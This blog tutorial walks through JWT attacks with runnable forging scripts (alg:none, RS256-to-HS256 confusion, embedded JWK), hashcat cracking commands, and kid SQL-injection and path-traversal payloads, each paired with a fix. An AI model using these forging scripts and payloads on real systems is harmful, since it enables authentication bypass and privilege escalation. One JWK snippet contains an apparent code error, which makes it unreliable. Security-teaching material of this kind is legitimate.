Blog - Shellvoide
Published on

JWT Security Guide: Common JWT Vulnerabilities, Attacks, Exploits, and Defenses

WARNING

Disclaimer: This guide is intended for authorized security professionals. All testing techniques described here must only be performed on systems for which you have explicit written permission. Unauthorized testing is illegal and unethical.

Introduction

It usually starts quietly. An otherwise ordinary request hits an API, the response comes back 200 OK, and somewhere inside that flow a token gets copied into Burp, a browser extension, or a notes file. At first glance it looks harmless: three base64url blobs, a few claims, maybe a role field, maybe an exp. But when a backend trusts the wrong header, the wrong key, or the wrong algorithm, that harmless-looking token turns into a skeleton key.

That is what makes JWT flaws so dangerous in the wild. They rarely look dramatic at the start. There is no noisy exploit chain, no giant memory corruption, no obvious crash. Just a tiny assumption in token verification logic that lets an attacker go from "decode" to "forge" to "admin" with very little friction.

JSON Web Tokens are everywhere. REST APIs, mobile backends, microservices, and OAuth flows all rely on them heavily. And yet JWT vulnerabilities are still consistently introduced through weak verification logic, unsafe key handling, and broken claim validation.

This is not a basic JWT explainer. This guide takes an attacker's lens to JWTs: how they break, where they break, and what a fully weaponized exploit can look like in the real world.


JWT Attacks Quick Answer

If you are testing JWT security quickly, focus on these high-impact checks first:

  1. Try alg:none and algorithm confusion issues.
  2. Identify whether the token uses a weak HMAC secret.
  3. Test kid lookup behavior for SQL injection or path traversal.
  4. Check whether the server trusts embedded jwk, jku, or x5u headers.
  5. Replay expired tokens and verify claim validation for exp, nbf, iss, and aud.

These are some of the most common JWT vulnerabilities seen in real API security assessments, and several of them can lead directly to forged admin tokens or full authentication bypass.


What Is JWT and Why Is It Used?

JWT stands for JSON Web Token. It is a compact token format commonly used for authentication, API authorization, session handling, and identity propagation across distributed systems. A JWT is popular because it is easy to pass between clients, APIs, mobile apps, and identity providers without maintaining server-side session state for every request.

That convenience is exactly why JWT security matters. If token verification is weak, attackers may be able to tamper with claims, forge tokens, bypass login controls, or escalate privileges across multiple systems that trust the same token.


What You're Actually Looking At

A JWT looks like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NDM5MzI4MDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

It has three base64url-encoded parts separated by dots:

PartContains
HeaderAlgorithm (alg), token type
PayloadClaims (sub, role, exp, etc.)
SignatureHMAC or RSA signature over header and payload

Decode any JWT instantly with jwt.io or with a shell:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}

The signature is what stops tampering, unless the server does not actually verify it correctly.


Attack 1: The alg:none Bypass

What It Is

The JWT spec allows an algorithm value of none, meaning the token is unsigned. Some libraries, when they see alg: none, skip signature verification entirely.

How to Exploit It

Take any valid JWT. Decode the header and payload, modify the payload such as changing "role":"user" to "role":"admin", re-encode, and set the signature to an empty string.

import base64
import json

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234567890", "role": "admin", "iat": 1743932800}

def b64url(data):
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',', ':')).encode()
    ).rstrip(b'=').decode()

forged = f"{b64url(header)}.{b64url(payload)}."
print(forged)

Send that token in the Authorization: Bearer header. If the server accepts it, you are in as admin.

Variants

Some servers only check for the exact string "none" but not "None", "NONE", or "nOnE". Try case variations.

Why It Still Exists

Older library versions trusted the alg field in the token instead of enforcing it server-side.

Fix

Always specify the expected algorithm explicitly server-side. Never trust the alg claim in the token.

// WRONG
jwt.verify(token, secret)

// RIGHT
jwt.verify(token, secret, { algorithms: ['HS256'] })

Attack 2: Weak HMAC Secret Cracking

What It Is

HS256, HS384, and HS512 tokens are signed with a symmetric secret. If that secret is weak, short, or default, it can be brute-forced offline with the token alone.

How to Exploit It

You do not need server access. Grab any JWT from a request and use hashcat or similar tooling:

# hashcat mode 16500 = JWT
hashcat -a 0 -m 16500 captured.jwt /usr/share/wordlists/rockyou.txt

# Or with john
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt

Once you have the secret, you can forge any claim:

import jwt

secret = "secret123"
payload = {"sub": "admin", "role": "superadmin", "exp": 9999999999}
forged = jwt.encode(payload, secret, algorithm="HS256")
print(forged)

Common Weak Secrets Found in the Wild

  • secret
  • password
  • changeme
  • your-256-bit-secret
  • The app name itself
  • Empty string ""

Fix

Use cryptographically random secrets of at least 256 bits:

openssl rand -base64 32

Rotate them and store them in a secrets manager, not in .env files committed to git.


Attack 3: RS256 to HS256 Algorithm Confusion

What It Is

When a server uses RS256, it signs with a private key and verifies with a public key. The public key is often intentionally exposed.

The attack is to forge a token using HS256 while using the public key as the HMAC secret. If the server picks the algorithm from the token header instead of enforcing RS256, it will verify your HS256 token using the public key as the secret, which is exactly what you used to sign it.

How to Exploit It

import jwt

pubkey = open("public_key.pem", "rb").read()

payload = {"sub": "attacker", "role": "admin", "exp": 9999999999}

# Sign with HS256 using the PUBLIC KEY as the secret
forged = jwt.encode(payload, pubkey, algorithm="HS256")
print(forged)

If the library does not enforce RS256 server-side, the HMAC check passes.

Fix

Enforce the expected algorithm server-side:

jwt.verify(token, publicKey, { algorithms: ['RS256'] })

Never allow the client to dictate the algorithm.


Attack 4: kid Header Injection

What It Is

The kid (Key ID) header parameter tells the server which key to use to verify the signature. If the server uses kid to look up a key from a database or file system without sanitization, you have an injection point.

SQL Injection via kid

If the key is fetched with something like:

SELECT secret_key FROM jwt_keys WHERE id = '<kid value>'

You can inject:

{
  "alg": "HS256",
  "kid": "' UNION SELECT 'attacker_secret' -- "
}

Now the server fetches attacker_secret as the key. Sign your forged token with attacker_secret, and it validates.

Directory Traversal via kid

If the server reads a key file like:

key = open(f"/keys/{kid}.pem").read()

Try:

{
  "kid": "../../../../dev/null"
}

If the application resolves that path unsafely, the verification key may become predictable or empty, making signature forgery possible.

Fix

  • Validate and whitelist kid values
  • Never pass kid raw to SQL or filesystem operations
  • Use parameterized SQL queries
  • Store keys in a strict key store with fixed identifiers

Attack 5: JWK Header Spoofing

What It Is

Some JWT implementations support an embedded jwk (JSON Web Key) in the token header. If a server trusts that embedded jwk without checking it against a trusted key store, you can embed your own key pair.

How to Exploit It

  1. Generate your own RSA key pair.
  2. Embed the public key in the JWT header as jwk.
  3. Sign the token with your private key.
  4. If the server trusts the embedded key, verification succeeds.
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt
import base64

private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
pub_numbers = public_key.public_key().public_numbers()

def int_to_b64(n):
    return base64.urlsafe_b64encode(
        n.to_bytes((n.bit_length() + 7) // 8, 'big')
    ).rstrip(b'=').decode()

jwk = {
    "kty": "RSA",
    "n": int_to_b64(pub_numbers.n),
    "e": int_to_b64(pub_numbers.e),
    "alg": "RS256",
    "use": "sig"
}

headers = {"alg": "RS256", "jwk": jwk}
payload = {"sub": "attacker", "role": "admin", "exp": 9999999999}

forged = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print(forged)

Fix

Never trust a jwk embedded in the token header. Always verify against a pre-registered, server-controlled JWKS endpoint.


Attack 6: jku and x5u Header Injection

What It Is

The jku header points to a URL where the server should fetch the JWKS for verification. If the server fetches whatever URL is in jku or x5u without validating it against a whitelist, you can point it to an attacker-controlled key set.

How to Exploit It

  1. Host a JWKS file on your own server.
  2. Generate a key pair and place the public key in that JWKS.
  3. Forge a token with "jku" pointing to your JWKS and sign it with your private key.
  4. If the server fetches and trusts it, the signature validates.

Fix

Whitelist allowed jku and x5u URLs. The server should only fetch keys from its own configured endpoint, never from a URL supplied in the token.


Attack 7: Expired Token Acceptance

Sometimes the simplest bugs are the deadliest. Decode the token, inspect the exp claim, and replay old captured tokens:

# Decode and inspect the exp claim
echo "PAYLOAD_PART" | base64 -d | jq .exp

# Convert unix timestamp
date -d @<timestamp>

If the server accepts expired tokens, you may retain access long after the session should have ended.


Recon Checklist: Finding JWTs to Attack

[ ] Capture tokens from login, OAuth callback, and API responses
[ ] Check all three parts and look for sensitive data in payloads
[ ] Note the algorithm (alg) in the header
[ ] Find the JWKS endpoint: /.well-known/jwks.json, /oauth/discovery, /api/auth/keys
[ ] Check if a public key is exposed anywhere
[ ] Look for kid parameters and test unsafe lookup behavior
[ ] Check for jku and x5u headers
[ ] Test expiry by replaying old tokens
[ ] Brute force with hashcat if HS256 is in use

Quick PoC Summary

AttackConditionImpact
alg:noneLibrary trusts token algFull auth bypass
Weak secret crackShort or default HMAC secretForge any token
RS256 to HS256 confusionLibrary allows algorithm switchingForge any token
kid SQL injectionUnsanitized kid in SQL queryKey control and forgery
kid path traversalUnsanitized kid in file pathKey control and forgery
JWK spoofingServer trusts embedded jwkForge any token
jku injectionNo URL whitelistForge any token
Expired token acceptedMissing expiry validationPersistent access

Tooling

  • jwt.io: Decode and inspect tokens
  • jwt_tool: Automated JWT attack suite
  • hashcat with -m 16500: HMAC secret cracking
  • Burp Suite with the JWT Editor extension: In-proxy token manipulation
  • PortSwigger JWT labs: Hands-on practice
# jwt_tool covers most attacks in one tool
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <token> -t https://target.com/api/endpoint -M at

Defensive Summary

If you are implementing JWT verification, lock these down:

  1. Enforce the expected algorithm server-side and never trust alg from the token.
  2. Use strong secrets: 256-bit random for HMAC and 2048-bit or stronger RSA for asymmetric setups.
  3. Validate all claims, including exp, nbf, iss, and aud.
  4. Sanitize and whitelist kid values.
  5. Reject embedded jwk, jku, and x5u unless they are pinned to trusted infrastructure.
  6. Rotate secrets and keep token lifetimes short.
  7. Never store sensitive data in the payload because JWTs are encoded, not encrypted.

FAQ

What are the most common JWT vulnerabilities?

The most common JWT vulnerabilities include alg:none acceptance, weak HMAC secrets, RS256 to HS256 algorithm confusion, unsafe kid handling, trusted embedded jwk headers, and unvalidated jku or x5u URLs. These flaws often allow attackers to forge tokens or bypass authentication entirely.

Can JWTs be cracked?

JWTs signed with HMAC can sometimes be cracked offline if the secret is weak, short, reused, or based on defaults. The token itself gives an attacker everything needed to brute force the secret without interacting with the server.

Are JWTs secure for authentication?

JWTs can be secure when verification is implemented correctly, algorithms are enforced server-side, secrets and keys are strong, and claims are validated consistently. Most serious JWT issues come from implementation mistakes rather than the format alone.

How do you secure JWTs?

Secure JWT implementations enforce a fixed algorithm, validate claims like exp and aud, reject attacker-controlled key references, sanitize kid, use strong secrets or managed key pairs, and keep token lifetimes short.


Conclusion

JWTs are simple in concept and surprisingly fragile in practice. Many of these attacks do not require exotic tooling. A base64 decoder and a text editor can be enough for alg:none, while more advanced issues such as algorithm confusion and JWK spoofing can lead to full authentication bypass when verification logic is weak.

The defensive takeaway is straightforward: do not trust the token header. Enforce algorithms, validate claims, and keep key selection under server control. Your backend should make those decisions, not the client.

Need help with JWT security, API security testing, or a real-world assessment? Contact info@shellvoide.com.